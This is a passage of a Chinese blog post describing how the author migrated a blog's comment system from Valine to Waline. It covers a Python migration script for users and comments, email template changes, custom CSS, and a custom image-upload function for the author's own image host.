class="built_in">CURRENT_TIMESTAMP</span>,</span><br><span class="line">  <span class="keyword">PRIMARY</span> KEY (`id`)</span><br><span class="line">) CHARSET<span class="operator">=</span>utf8mb4;</span><br></pre></td></tr></table></figure><h3 id="对接数据库"><a href="#对接数据库" class="headerlink" title="对接数据库"></a>对接数据库</h3><p>我是直接在 Vercel 上部署的，直接参照官方文档部署一下就可以了，主要是要注意别忘了填各种环境变量</p><p><img src="https://assets.bili33.top/img/Migrate-from-Valine-to-Waline/msedge_8EqPxnOhjL.png"></p><h2 id="迁移数据"><a href="#迁移数据" class="headerlink" title="迁移数据"></a>迁移数据</h2><p>因为刚刚我们说到，导出的数据库格式是 jsonl，且第一行为表信息</p><p>因为我懒，所以直接让 AI 跑一个脚本。原来 Valine 的数据里面是有垃圾评论标记的，这里要适配到 Waline 上。此外我这里因为已经创建过账户了，所以在迁移用户的时候遇到我自己就不要创建账户了</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> json</span><br><span class="line"><span class="keyword">import</span> pymysql</span><br><span class="line"></span><br><span class="line"><span class="comment"># 数据库连接配置</span></span><br><span class="line">db_config = &#123;</span><br><span class="line">    <span class="string">&quot;host&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">    <span class="string">&quot;port&quot;</span>: <span class="number">4000</span>,</span><br><span class="line">    <span class="string">&quot;user&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">    <span class="string">&quot;password&quot;</span>: <span class="string">&quot;&quot;</span>,</span><br><span class="line">    <span class="string">&quot;database&quot;</span>: <span class="string">&quot;waline&quot;</span>,</span><br><span class="line">    <span class="string">&quot;ssl_verify_cert&quot;</span>: <span class="literal">True</span>,</span><br><span class="line">    <span class="string">&quot;ssl_verify_identity&quot;</span>: <span class="literal">True</span>,</span><br><span class="line">    <span class="string">&quot;ssl_ca&quot;</span>: <span class="string">&quot;&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">parse_date</span>(<span class="params">val</span>):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> val:</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">isinstance</span>(val, <span class="built_in">dict</span>):</span><br><span class="line">        <span class="keyword">if</span> val.get(<span class="string">&#x27;__type&#x27;</span>) == <span class="string">&#x27;Date&#x27;</span>:</span><br><span class="line">            val = val.get(<span class="string">&#x27;iso&#x27;</span>)</span><br><span class="line">        <span class="keyword">elif</span> <span class="string">&#x27;$date&#x27;</span> <span class="keyword">in</span> val:</span><br><span class="line">            val = val.get(<span class="string">&#x27;$date&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> <span class="built_in">isinstance</span>(val, <span class="built_in">str</span>):</span><br><span class="line">        <span class="keyword">return</span> <span class="literal">None</span></span><br><span class="line">    <span class="keyword">return</span> val.replace(<span class="string">&#x27;T&#x27;</span>, <span class="string">&#x27; &#x27;</span>).replace(<span class="string">&#x27;Z&#x27;</span>, <span class="string">&#x27;&#x27;</span>)[:<span class="number">19</span>]</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">migrate</span>():</span><br><span class="line">    conn = pymysql.connect(**db_config)</span><br><span class="line">    cursor = conn.cursor()</span><br><span class="line"></span><br><span class="line">    <span class="comment"># 映射表</span></span><br><span class="line">    email_to_userid = &#123;<span class="string">&quot;admin@bili33.top&quot;</span>: <span class="number">2</span>&#125; </span><br><span class="line">    old_cid_to_new_cid = &#123;&#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        <span class="comment"># --- 第一步：迁移用户 ---</span></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在同步用户数据...&quot;</span>)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;_User.0.jsonl&#x27;</span>, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">                <span class="keyword">if</span> line.startswith(<span class="string">&#x27;#&#x27;</span>) <span class="keyword">or</span> <span class="keyword">not</span> line.strip():</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                user = json.loads(line)</span><br><span class="line">                email = user.get(<span class="string">&#x27;email&#x27;</span>)</span><br><span class="line">                </span><br><span class="line">                <span class="keyword">if</span> email <span class="keyword">and</span> email <span class="keyword">not</span> <span class="keyword">in</span> email_to_userid:</span><br><span class="line">                    <span class="comment"># 检查数据库是否已存在该邮箱（防止重复运行脚本）</span></span><br><span class="line">                    cursor.execute(<span class="string">&quot;SELECT id FROM wl_Users WHERE email = %s&quot;</span>, (email,))</span><br><span class="line">                    row = cursor.fetchone()</span><br><span class="line">                    <span class="keyword">if</span> row:</span><br><span class="line">                        email_to_userid[email] = row[<span class="number">0</span>]</span><br><span class="line">                    <span class="keyword">else</span>:</span><br><span class="line">                        sql = <span class="string">&quot;INSERT INTO wl_Users (display_name, email, password, type, createdAt, updatedAt) VALUES (%s, %s, %s, %s, %s, %s)&quot;</span></span><br><span class="line">                        cursor.execute(sql, (user.get(<span class="string">&#x27;username&#x27;</span>), email, <span class="string">&#x27;&#x27;</span>, <span class="string">&#x27;guest&#x27;</span>, parse_date(user.get(<span class="string">&#x27;createdAt&#x27;</span>)), parse_date(user.get(<span class="string">&#x27;updatedAt&#x27;</span>))))</span><br><span class="line">                        email_to_userid[email] = cursor.lastrowid</span><br><span class="line">        conn.commit()</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在插入评论数据...&quot;</span>)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;Comment.0.jsonl&#x27;</span>, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f: <span class="comment"># 确保文件名正确</span></span><br><span class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">                <span class="keyword">if</span> line.startswith(<span class="string">&#x27;#&#x27;</span>) <span class="keyword">or</span> <span class="keyword">not</span> line.strip():</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                </span><br><span class="line">                cmt = json.loads(line)</span><br><span class="line">                mail = cmt.get(<span class="string">&#x27;mail&#x27;</span>)</span><br><span class="line">                </span><br><span class="line">                <span class="comment"># 状态逻辑：处理 isSpam</span></span><br><span class="line">                status = <span class="string">&#x27;approved&#x27;</span></span><br><span class="line">                <span class="keyword">if</span> cmt.get(<span class="string">&#x27;isSpam&#x27;</span>) <span class="keyword">is</span> <span class="literal">True</span>:</span><br><span class="line">                    status = <span class="string">&#x27;spam&#x27;</span></span><br><span class="line"></span><br><span class="line">                <span class="comment"># 关联用户 ID</span></span><br><span class="line">                user_id = <span class="literal">None</span></span><br><span class="line">                <span class="keyword">if</span> cmt.get(<span class="string">&#x27;nick&#x27;</span>) == <span class="string">&#x27;GamerNoTitle&#x27;</span> <span class="keyword">or</span> mail == <span class="string">&#x27;admin@bili33.top&#x27;</span>:</span><br><span class="line">                    user_id = <span class="number">2</span></span><br><span class="line">                <span class="keyword">elif</span> mail <span class="keyword">in</span> email_to_userid:</span><br><span class="line">                    user_id = email_to_userid[mail]</span><br><span class="line"></span><br><span class="line">                sql = <span class="string">&quot;&quot;&quot;INSERT INTO wl_Comment </span></span><br><span class="line"><span class="string">                         (user_id, comment, insertedAt, ip, link, mail, nick, ua, url, createdAt, updatedAt, status) </span></span><br><span class="line"><span class="string">                         VALUES (%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s)&quot;&quot;&quot;</span></span><br><span class="line">                </span><br><span class="line">                cursor.execute(sql, (</span><br><span class="line">                    user_id,</span><br><span class="line">                    cmt.get(<span class="string">&#x27;comment&#x27;</span>),</span><br><span class="line">                    parse_date(cmt.get(<span class="string">&#x27;insertedAt&#x27;</span>)),</span><br><span class="line">                    cmt.get(<span class="string">&#x27;ip&#x27;</span>),</span><br><span class="line">                    cmt.get(<span class="string">&#x27;link&#x27;</span>),</span><br><span class="line">                    mail,</span><br><span class="line">                    cmt.get(<span class="string">&#x27;nick&#x27;</span>),</span><br><span class="line">                    cmt.get(<span class="string">&#x27;ua&#x27;</span>),</span><br><span class="line">                    cmt.get(<span class="string">&#x27;url&#x27;</span>),</span><br><span class="line">                    parse_date(cmt.get(<span class="string">&#x27;createdAt&#x27;</span>)),</span><br><span class="line">                    parse_date(cmt.get(<span class="string">&#x27;updatedAt&#x27;</span>)),</span><br><span class="line">                    status</span><br><span class="line">                ))</span><br><span class="line">                </span><br><span class="line">                new_id = cursor.lastrowid</span><br><span class="line">                old_id = cmt.get(<span class="string">&#x27;objectId&#x27;</span>)</span><br><span class="line">                old_cid_to_new_cid[old_id] = new_id</span><br><span class="line"></span><br><span class="line">        conn.commit()</span><br><span class="line"></span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;正在修复 PID/RID 关系...&quot;</span>)</span><br><span class="line">        <span class="keyword">with</span> <span class="built_in">open</span>(<span class="string">&#x27;Comment.0.jsonl&#x27;</span>, <span class="string">&#x27;r&#x27;</span>, encoding=<span class="string">&#x27;utf-8&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">            <span class="keyword">for</span> line <span class="keyword">in</span> f:</span><br><span class="line">                <span class="keyword">if</span> line.startswith(<span class="string">&#x27;#&#x27;</span>) <span class="keyword">or</span> <span class="keyword">not</span> line.strip():</span><br><span class="line">                    <span class="keyword">continue</span></span><br><span class="line">                </span><br><span class="line">                cmt = json.loads(line)</span><br><span class="line">                old_id = cmt.get(<span class="string">&#x27;objectId&#x27;</span>)</span><br><span class="line">                old_pid = cmt.get(<span class="string">&#x27;pid&#x27;</span>)</span><br><span class="line">                old_rid = cmt.get(<span class="string">&#x27;rid&#x27;</span>)</span><br><span class="line"></span><br><span class="line">                new_id = old_cid_to_new_cid.get(old_id)</span><br><span class="line">                new_pid = old_cid_to_new_cid.get(old_pid) <span class="keyword">if</span> old_pid <span class="keyword">else</span> <span class="literal">None</span></span><br><span class="line">                new_rid = old_cid_to_new_cid.get(old_rid) <span class="keyword">if</span> old_rid <span class="keyword">else</span> <span class="literal">None</span></span><br><span class="line"></span><br><span class="line">                <span class="keyword">if</span> new_pid <span class="keyword">or</span> new_rid:</span><br><span class="line">                    cursor.execute(<span class="string">&quot;UPDATE wl_Comment SET pid = %s, rid = %s WHERE id = %s&quot;</span>, (new_pid, new_rid, new_id))</span><br><span class="line">        </span><br><span class="line">        conn.commit()</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">&quot;✅ 迁移成功！垃圾评论已标记为 spam。&quot;</span>)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        conn.rollback()</span><br><span class="line">        <span class="built_in">print</span>(<span class="string">f&quot;❌ 错误: <span class="subst">&#123;e&#125;</span>&quot;</span>)</span><br><span class="line">    <span class="keyword">finally</span>:</span><br><span class="line">        cursor.close()</span><br><span class="line">        conn.close()</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    migrate()</span><br></pre></td></tr></table></figure><h2 id="迁移模板"><a href="#迁移模板" class="headerlink" title="迁移模板"></a>迁移模板</h2><p>我的邮件模板是我之前自己撸的，而 Valine 用的 ejs 语法，Waline 是类似于 jinja2 的语法，所以需要做一个小修改</p><p>而且 Waline 有几个特定的变量可用</p><ul><li>self 代指这条评论本身的信息</li><li>parent 代指父评论，如果当前评论是一条回复，那就存在这个变量</li><li>site 代指站点设置，可以用于填充站点信息</li></ul><p>所以只要在之前的变量位置修改为特定的格式即可</p><p><img src="https://assets.bili33.top/img/Migrate-from-Valine-to-Waline/Code_ShcHIqSz4J.png"></p><p>改完了找一个 minify 的小应用，压缩一下 html 代码，然后填入变量位置即可，顺带把邮件的 smtp 信息填充上</p><p><img src="https://assets.bili33.top/img/Migrate-from-Valine-to-Waline/msedge_9uyTFFQsgQ.png"></p><h2 id="修改样式"><a href="#修改样式" class="headerlink" title="修改样式"></a>修改样式</h2><p>因为 Waline 集成在我的网站上看起来不是很搭，而且有些地方怪怪的，于是我又做了一点小修改，直接引入了自定义 css</p><p>主要就是改了表情弹窗的高度，不然有个 overflow 条真的很丑，顺带把编辑器的 focus 背景图给加回来，不然聚焦的时候背景里的红就没了</p><p>顺带再把管理员登录下的评论垃圾标记调整的那个功能的样式也改了</p><figure class="highlight css"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="selector-class">.wl-btn</span><span class="selector-pseudo">:disabled</span> &#123;</span><br><span class="line">    <span class="attribute">background-color</span>: <span class="number">#eab897</span> <span class="meta">!important</span>;</span><br><span class="line">    <span class="attribute">color</span>: <span class="number">#fff</span> <span class="meta">!important</span>;</span><br><span class="line">    <span class="attribute">font-weight</span>: bold;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-class">.wl-emoji-popup</span> <span class="selector-class">.wl-tabs</span> &#123;</span><br><span class="line">    <span class="attribute">height</span>: <span class="number">2.8em</span> <span class="meta">!important</span>;</span><br><span class="line">    <span class="attribute">overflow-x</span>: hidden <span class="meta">!important</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="selector-id">#waline-wrap</span> <span class="selector-tag">textarea</span><span class="selector-class">.wl-editor</span> &#123;</span><br><span class="line">    <span class="attribute">background</span>: <span class="built_in">url</span>(<span class="string">&quot;https://assets.bili33.top/img/Settings/Valine-BG.jpg&quot;</span>) <span class="number">100%</span> <span class="number">100%</span> no-repeat <span class="meta">!important</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* .wl-content .vemoji, .wl-content .wl-emoji,</span></span><br><span class="line"><span class="comment">.wl-emoji-popup .wl-emoji &#123;</span></span><br><span class="line"><span class="comment">    height: 50px !important;</span></span><br><span class="line"><span class="comment">&#125; */</span></span><br><span class="line"></span><br><span class="line"><span class="selector-class">.wl-card</span> <span class="selector-class">.wl-badge</span> &#123;</span><br><span class="line">    <span class="attribute">border</span>: <span class="number">1px</span> solid <span class="number">#eab897</span> <span class="meta">!important</span>;</span><br><span class="line">    <span class="attribute">color</span>: <span class="number">#eab897</span> <span class="meta">!important</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://assets.bili33.top/img/Migrate-from-Valine-to-Waline/msedge_1kiyjac8P9.png"></p><h2 id="添加图片上传功能"><a href="#添加图片上传功能" class="headerlink" title="添加图片上传功能"></a>添加图片上传功能</h2><p>这个是迁移到 Waline 后我发现它自己有的一个功能，因为我有一个图床 <a href="https://bili33.eu.org/">https://bili33.eu.org</a> ，并且一直没怎么用，所以就想着这次用上</p><p>在 Waline 的 Cookbook 中给了一个例子</p><blockquote><p>src: <a href="https://waline.js.org/cookbook/customize/upload-image.html#%E6%A1%88%E4%BE%8B">https://waline.js.org/cookbook/customize/upload-image.html#%E6%A1%88%E4%BE%8B</a></p></blockquote><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;!doctype <span class="keyword">html</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">html</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">head</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">charset</span>=<span class="string">&quot;UTF-8&quot;</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">meta</span> <span class="attr">name</span>=<span class="string">&quot;viewport&quot;</span> <span class="attr">content</span>=<span class="string">&quot;width=device-width, initial-scale=1.0&quot;</span> /&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">title</span>&gt;</span>Waline imageUploader 案例<span class="tag">&lt;/<span class="name">title</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">link</span> <span class="attr">rel</span>=<span class="string">&quot;stylesheet&quot;</span> <span class="attr">href</span>=<span class="string">&quot;https://unpkg.com/@waline/client@v3/dist/waline.css&quot;</span> /&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">head</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">body</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">div</span> <span class="attr">id</span>=<span class="string">&quot;waline&quot;</span> <span class="attr">style</span>=<span class="string">&quot;max-width: 800px; margin: 0 auto&quot;</span>&gt;</span><span class="tag">&lt;/<span class="name">div</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">script</span> <span class="attr">type</span>=<span class="string">&quot;module&quot;</span>&gt;</span><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">      <span class="keyword">import</span> &#123; init &#125; <span class="keyword">from</span> <span class="string">&#x27;https://unpkg.com/@waline/client@v3/dist/waline.js&#x27;</span>;</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">      <span class="keyword">const</span> waline = <span class="title function_">init</span>(&#123;</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">el</span>: <span class="string">&#x27;#waline&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">serverURL</span>: <span class="string">&#x27;https://waline.vercel.app&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">path</span>: <span class="string">&#x27;/&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">lang</span>: <span class="string">&#x27;en-US&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">        <span class="attr">imageUploader</span>: <span class="function">(<span class="params">file</span>) =&gt;</span> &#123;</span></span><br><span class="line"><span class="language-javascript">          <span class="keyword">let</span> formData = <span class="keyword">new</span> <span class="title class_">FormData</span>();</span></span><br><span class="line"><span class="language-javascript">          <span class="keyword">let</span> headers = <span class="keyword">new</span> <span class="title class_">Headers</span>();</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">          formData.<span class="title function_">append</span>(<span class="string">&#x27;file&#x27;</span>, file);</span></span><br><span class="line"><span class="language-javascript">          headers.<span class="title function_">append</span>(<span class="string">&#x27;Authorization&#x27;</span>, <span class="string">&#x27;!&#123;API TOKEN&#125;&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript">          headers.<span class="title function_">append</span>(<span class="string">&#x27;Accept&#x27;</span>, <span class="string">&#x27;application/json&#x27;</span>);</span></span><br><span class="line"><span class="language-javascript"></span></span><br><span class="line"><span class="language-javascript">          <span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="string">&#x27;!&#123;API URL&#125;&#x27;</span>, &#123;</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">headers</span>: headers,</span></span><br><span class="line"><span class="language-javascript">            <span class="attr">body</span>: formData,</span></span><br><span class="line"><span class="language-javascript">          &#125;)</span></span><br><span class="line"><span class="language-javascript">            .<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="title function_">json</span>())</span></span><br><span class="line"><span class="language-javascript">            .<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="property">data</span>.<span class="property">links</span>.<span class="property">url</span>);</span></span><br><span class="line"><span class="language-javascript">        &#125;,</span></span><br><span class="line"><span class="language-javascript">      &#125;);</span></span><br><span class="line"><span class="language-javascript">    </span><span class="tag">&lt;/<span class="name">script</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;/<span class="name">body</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">html</span>&gt;</span></span><br></pre></td></tr></table></figure><p>说白了就是讲 waline 的 imageUploader 写成一个匿名函数，其中变量是 file，即 binary 内容</p><p>根据我这个图床的 api 文档，我就直接写出来了这样的配置</p><blockquote><p>api 文档：<a href="https://cfbed.sanyue.de/api/upload.html">https://cfbed.sanyue.de/api/upload.html</a></p></blockquote><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">function</span> <span class="title function_">initWaline</span> () &#123;</span><br><span class="line">  <span class="keyword">const</span> waline = <span class="title class_">Waline</span>.<span class="title function_">init</span>(<span class="title class_">Object</span>.<span class="title function_">assign</span>(&#123;</span><br><span class="line">    <span class="attr">el</span>: <span class="string">&#x27;#waline-wrap&#x27;</span>,</span><br><span class="line">    <span class="attr">serverURL</span>: <span class="string">&#x27;!&#123;serverURL&#125;&#x27;</span>,</span><br><span class="line">    <span class="attr">pageview</span>: !&#123;lazyload ? <span class="literal">false</span> : pageview&#125;,</span><br><span class="line">    <span class="attr">dark</span>: <span class="string">&#x27;html[data-theme=&quot;dark&quot;]&#x27;</span>,</span><br><span class="line">    <span class="attr">path</span>: <span class="variable language_">window</span>.<span class="property">location</span>.<span class="property">pathname</span>,</span><br><span class="line">    <span class="attr">comment</span>: !&#123;lazyload ? <span class="literal">false</span> : count&#125;,</span><br><span class="line">    <span class="attr">imageUploader</span>: <span class="function">(<span class="params">file</span>) =&gt;</span> &#123;</span><br><span class="line">      <span class="keyword">let</span> formData = <span class="keyword">new</span> <span class="title class_">FormData</span>();</span><br><span class="line">      <span class="keyword">let</span> headers = <span class="keyword">new</span> <span class="title class_">Headers</span>();</span><br><span class="line">      <span class="keyword">let</span> query = <span class="keyword">new</span> <span class="title class_">URLSearchParams</span>();</span><br><span class="line"></span><br><span class="line">      formData.<span class="title function_">append</span>(<span class="string">&#x27;file&#x27;</span>, file);</span><br><span class="line">      headers.<span class="title function_">append</span>(<span class="string">&#x27;Authorization&#x27;</span>, <span class="string">&#x27;Bearer AUTH_TOKEN_HERE&#x27;</span>)</span><br><span class="line">      headers.<span class="title function_">append</span>(<span class="string">&#x27;User-Agent&#x27;</span>, <span class="string">&#x27;Paff-Waline/1.0&#x27;</span>)</span><br><span class="line"></span><br><span class="line">      <span class="keyword">return</span> <span class="title function_">fetch</span>(<span class="string">&#x27;https://img.bili33.top/upload&#x27;</span>, &#123;</span><br><span class="line">        <span class="attr">method</span>: <span class="string">&#x27;POST&#x27;</span>,</span><br><span class="line">        <span class="attr">headers</span>: headers,</span><br><span class="line">        <span class="attr">body</span>: formData,</span><br><span class="line">      &#125;).<span class="title function_">then</span>(<span class="function">(<span class="params">resp</span>) =&gt;</span> resp.<span class="title function_">json</span>())</span><br><span class="line">      .<span class="title function_">then</span>(<span class="function">(<span class="params">data</span>) =&gt;</span> <span class="string">&#x27;https://img.bili33.top&#x27;</span> + data[<span class="number">0</span>].<span class="property">src</span>)</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">  &#125;, !&#123;<span class="title class_">JSON</span>.<span class="title function_">stringify</span>(option)&#125;))</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>最开始，我是直接写在了 Butterfly 的配置里面的</p><p><img src="https://assets.bili33.top/img/Migrate-from-Valine-to-Waline/Code_zmamHBm7wB.png"></p><p>但是这样会导致初始化后的 waline 空间的 <code>imageUploader</code> 里面为字符串，也就是说 Butterfly 并不会把我的函数正确写成函数，而是写成字符串</p><p>所以没办法，就直接改主题了（反正我万年不更新）</p><h2 id="修改-Waline-文件上传大小限制并重新生成"><a href="#修改-Waline-文件上传大小限制并重新生成" class="headerlink" title="修改 Waline 文件上传大小限制并重新生成"></a>修改 Waline 文件上传大小限制并重新生成</h2><p>搞完上面加图床的事情以后，发现 Waline 自身存在上传大小限制，并且只给了 128KB</p><p>我也能理解这个操作，毕竟它是用 base64 直接编码在评论里的，它的 discussion 也有这样的帖子</p><blockquote><p><a href="https://github.com/orgs/walinejs/discussions/1727">如何修改图片上传大小限制？ · walinejs · Discussion #1727</a></p></blockquote><p>所以只能自己改一个 Waline 出来然后生成对应的 js 了，直接 clone 下来并找到对应的函数</p><figure class="highlight typescript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">export</span> <span class="keyword">const</span> defaultUploadImage = (<span class="attr">file</span>: <span class="title class_">File</span>): <span class="title class_">Promise</span>&lt;<span class="built_in">string</span>&gt; =&gt;</span><br><span class="line">  <span class="keyword">new</span> <span class="title class_">Promise</span>(<span class="function">(<span class="params">resolve, reject</span>) =&gt;</span> &#123;</span><br><span class="line">    